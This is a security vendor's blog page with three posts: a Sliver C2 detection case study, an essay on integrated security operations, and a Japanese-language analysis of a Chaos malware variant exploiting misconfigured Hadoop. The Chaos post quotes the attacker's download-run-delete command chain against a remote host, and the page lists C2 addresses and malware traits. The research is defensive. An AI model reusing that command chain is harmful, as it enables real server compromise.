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April 17, 2024

Sliver C2: How Darktrace Provided a Sliver of Hope

Learn how Darktrace is tackling the challenges posed by the Sliver C2 framework and what it means for modern cybersecurity defenses.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Natalia Sánchez Rocafort
Cyber Security Analyst
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17
Apr 2024

Offensive Security Tools

As organizations globally seek to for ways to bolster their digital defenses and safeguard their networks against ever-changing cyber threats, security teams are increasingly adopting offensive security tools to simulate cyber-attacks and assess the security posture of their networks. These legitimate tools, however, can sometimes be exploited by real threat actors and used as genuine actor vectors.

What is Sliver C2?

Sliver C2 is a legitimate open-source command-and-control (C2) framework that was released in 2020 by the security organization Bishop Fox. Silver C2 was originally intended for security teams and penetration testers to perform security tests on their digital environments [1] [2] [5]. In recent years, however, the Sliver C2 framework has become a popular alternative to Cobalt Strike and Metasploit for many attackers and Advanced Persistence Threat (APT) groups who adopt this C2 framework for unsolicited and ill-intentioned activities.

The use of Sliver C2 has been observed in conjunction with various strains of Rust-based malware, such as KrustyLoader, to provide backdoors enabling lines of communication between attackers and their malicious C2 severs [6]. It is unsurprising, then, that it has also been leveraged to exploit zero-day vulnerabilities, including critical vulnerabilities in the Ivanti Connect Secure and Policy Secure services.

In early 2024, Darktrace observed the malicious use of Sliver C2 during an investigation into post-exploitation activity on customer networks affected by the Ivanti vulnerabilities. Fortunately for affected customers, Darktrace DETECT™ was able to recognize the suspicious network-based connectivity that emerged alongside Sliver C2 usage and promptly brought it to the attention of customer security teams for remediation.

How does Silver C2 work?

Given its open-source nature, the Sliver C2 framework is extremely easy to access and download and is designed to support multiple operating systems (OS), including MacOS, Windows, and Linux [4].

Sliver C2 generates implants (aptly referred to as ‘slivers’) that operate on a client-server architecture [1]. An implant contains malicious code used to remotely control a targeted device [5]. Once a ‘sliver’ is deployed on a compromised device, a line of communication is established between the target device and the central C2 server. These connections can then be managed over Mutual TLS (mTLS), WireGuard, HTTP(S), or DNS [1] [4]. Sliver C2 has a wide-range of features, which include dynamic code generation, compile-time obfuscation, multiplayer-mode, staged and stageless payloads, procedurally generated C2 over HTTP(S) and DNS canary blue team detection [4].

Why Do Attackers Use Sliver C2?

Amidst the multitude of reasons why malicious actors opt for Sliver C2 over its counterparts, one stands out: its relative obscurity. This lack of widespread recognition means that security teams may overlook the threat, failing to actively search for it within their networks [3] [5].

Although the presence of Sliver C2 activity could be representative of authorized and expected penetration testing behavior, it could also be indicative of a threat actor attempting to communicate with its malicious infrastructure, so it is crucial for organizations and their security teams to identify such activity at the earliest possible stage.

Darktrace’s Coverage of Sliver C2 Activity

Darktrace’s anomaly-based approach to threat detection means that it does not explicitly attempt to attribute or distinguish between specific C2 infrastructures. Despite this, Darktrace was able to connect Sliver C2 usage to phases of an ongoing attack chain related to the exploitation of zero-day vulnerabilities in Ivanti Connect Secure VPN appliances in January 2024.

Around the time that the zero-day Ivanti vulnerabilities were disclosed, Darktrace detected an internal server on one customer network deviating from its expected pattern of activity. The device was observed making regular connections to endpoints associated with Pulse Secure Cloud Licensing, indicating it was an Ivanti server. It was observed connecting to a string of anomalous hostnames, including ‘cmjk3d071amc01fu9e10ae5rt9jaatj6b.oast[.]live’ and ‘cmjft14b13vpn5vf9i90xdu6akt5k3pnx.oast[.]pro’, via HTTP using the user agent ‘curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.7’.

Darktrace further identified that the URI requested during these connections was ‘/’ and the top-level domains (TLDs) of the endpoints in question were known Out-of-band Application Security Testing (OAST) server provider domains, namely ‘oast[.]live’ and ‘oast[.]pro’. OAST is a testing method that is used to verify the security posture of an application by testing it for vulnerabilities from outside of the network [7]. This activity triggered the DETECT model ‘Compromise / Possible Tunnelling to Bin Services’, which breaches when a device is observed sending DNS requests for, or connecting to, ‘request bin’ services. Malicious actors often abuse such services to tunnel data via DNS or HTTP requests. In this specific incident, only two connections were observed, and the total volume of data transferred was relatively low (2,302 bytes transferred externally). It is likely that the connections to OAST servers represented malicious actors testing whether target devices were vulnerable to the Ivanti exploits.

The device proceeded to make several SSL connections to the IP address 103.13.28[.]40, using the destination port 53, which is typically reserved for DNS requests. Darktrace recognized that this activity was unusual as the offending device had never previously been observed using port 53 for SSL connections.

Model Breach Event Log displaying the ‘Application Protocol on Uncommon Port’ DETECT model breaching in response to the unusual use of port 53.
Figure 1: Model Breach Event Log displaying the ‘Application Protocol on Uncommon Port’ DETECT model breaching in response to the unusual use of port 53.

Figure 2: Model Breach Event Log displaying details pertaining to the ‘Application Protocol on Uncommon Port’ DETECT model breach, including the 100% rarity of the port usage.
Figure 2: Model Breach Event Log displaying details pertaining to the ‘Application Protocol on Uncommon Port’ DETECT model breach, including the 100% rarity of the port usage.

Further investigation into the suspicious IP address revealed that it had been flagged as malicious by multiple open-source intelligence (OSINT) vendors [8]. In addition, OSINT sources also identified that the JARM fingerprint of the service running on this IP and port (00000000000000000043d43d00043de2a97eabb398317329f027c66e4c1b01) was linked to the Sliver C2 framework and the mTLS protocol it is known to use [4] [5].

An Additional Example of Darktrace’s Detection of Sliver C2

However, it was not just during the January 2024 exploitation of Ivanti services that Darktrace observed cases of Sliver C2 usages across its customer base.  In March 2023, for example, Darktrace detected devices on multiple customer accounts making beaconing connections to malicious endpoints linked to Sliver C2 infrastructure, including 18.234.7[.]23 [10] [11] [12] [13].

Darktrace identified that the observed connections to this endpoint contained the unusual URI ‘/NIS-[REDACTED]’ which contained 125 characters, including numbers, lower and upper case letters, and special characters like “_”, “/”, and “-“, as well as various other URIs which suggested attempted data exfiltration:

‘/upload/api.html?c=[REDACTED] &fp=[REDACTED]’

  • ‘/samples.html?mx=[REDACTED] &s=[REDACTED]’
  • ‘/actions/samples.html?l=[REDACTED] &tc=[REDACTED]’
  • ‘/api.html?gf=[REDACTED] &x=[REDACTED]’
  • ‘/samples.html?c=[REDACTED] &zo=[REDACTED]’

This anomalous external connectivity was carried out through multiple destination ports, including the key ports 443 and 8888.

Darktrace additionally observed devices on affected customer networks performing TLS beaconing to the IP address 44.202.135[.]229 with the JA3 hash 19e29534fd49dd27d09234e639c4057e. According to OSINT sources, this JA3 hash is associated with the Golang TLS cipher suites in which the Sliver framework is developed [14].

Conclusion

Despite its relative novelty in the threat landscape and its lesser-known status compared to other C2 frameworks, Darktrace has demonstrated its ability effectively detect malicious use of Sliver C2 across numerous customer environments. This included instances where attackers exploited vulnerabilities in the Ivanti Connect Secure and Policy Secure services.

While human security teams may lack awareness of this framework, and traditional rules and signatured-based security tools might not be fully equipped and updated to detect Sliver C2 activity, Darktrace’s Self Learning AI understands its customer networks, users, and devices. As such, Darktrace is adept at identifying subtle deviations in device behavior that could indicate network compromise, including connections to new or unusual external locations, regardless of whether attackers use established or novel C2 frameworks, providing organizations with a sliver of hope in an ever-evolving threat landscape.

Credit to Natalia Sánchez Rocafort, Cyber Security Analyst, Paul Jennings, Principal Analyst Consultant

Appendices

DETECT Model Coverage

  • Compromise / Repeating Connections Over 4 Days
  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Server Activity / Server Activity on New Non-Standard Port
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Compromise / Quick and Regular Windows HTTP Beaconing
  • Compromise / High Volume of Connections with Beacon Score
  • Anomalous Connection / Multiple Failed Connections to Rare Endpoint
  • Compromise / Slow Beaconing Activity To External Rare
  • Compromise / HTTP Beaconing to Rare Destination
  • Compromise / Sustained SSL or HTTP Increase
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL or HTTP Beacon
  • Compromise / Possible Malware HTTP Comms
  • Compromise / Possible Tunnelling to Bin Services
  • Anomalous Connection / Low and Slow Exfiltration to IP
  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Numeric File Download
  • Anomalous Connection / Powershell to Rare External
  • Anomalous Server Activity / New Internet Facing System

List of Indicators of Compromise (IoCs)

18.234.7[.]23 - Destination IP - Likely C2 Server

103.13.28[.]40 - Destination IP - Likely C2 Server

44.202.135[.]229 - Destination IP - Likely C2 Server

References

[1] https://bishopfox.com/tools/sliver

[2] https://vk9-sec.com/how-to-set-up-use-c2-sliver/

[3] https://www.scmagazine.com/brief/sliver-c2-framework-gaining-traction-among-threat-actors

[4] https://github[.]com/BishopFox/sliver

[5] https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors

[6] https://securityaffairs.com/158393/malware/ivanti-connect-secure-vpn-deliver-krustyloader.html

[7] https://www.xenonstack.com/insights/out-of-band-application-security-testing

[8] https://www.virustotal.com/gui/ip-address/103.13.28.40/detection

[9] https://threatfox.abuse.ch/browse.php?search=ioc%3A107.174.78.227

[10] https://threatfox.abuse.ch/ioc/1074576/

[11] https://threatfox.abuse.ch/ioc/1093887/

[12] https://threatfox.abuse.ch/ioc/846889/

[13] https://threatfox.abuse.ch/ioc/1093889/

[14] https://github.com/projectdiscovery/nuclei/issues/3330

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Natalia Sánchez Rocafort
Cyber Security Analyst

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April 10, 2026

How to Secure AI and Find the Gaps in Your Security Operations

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What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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Nathaniel Bill
Malware Research Engineer
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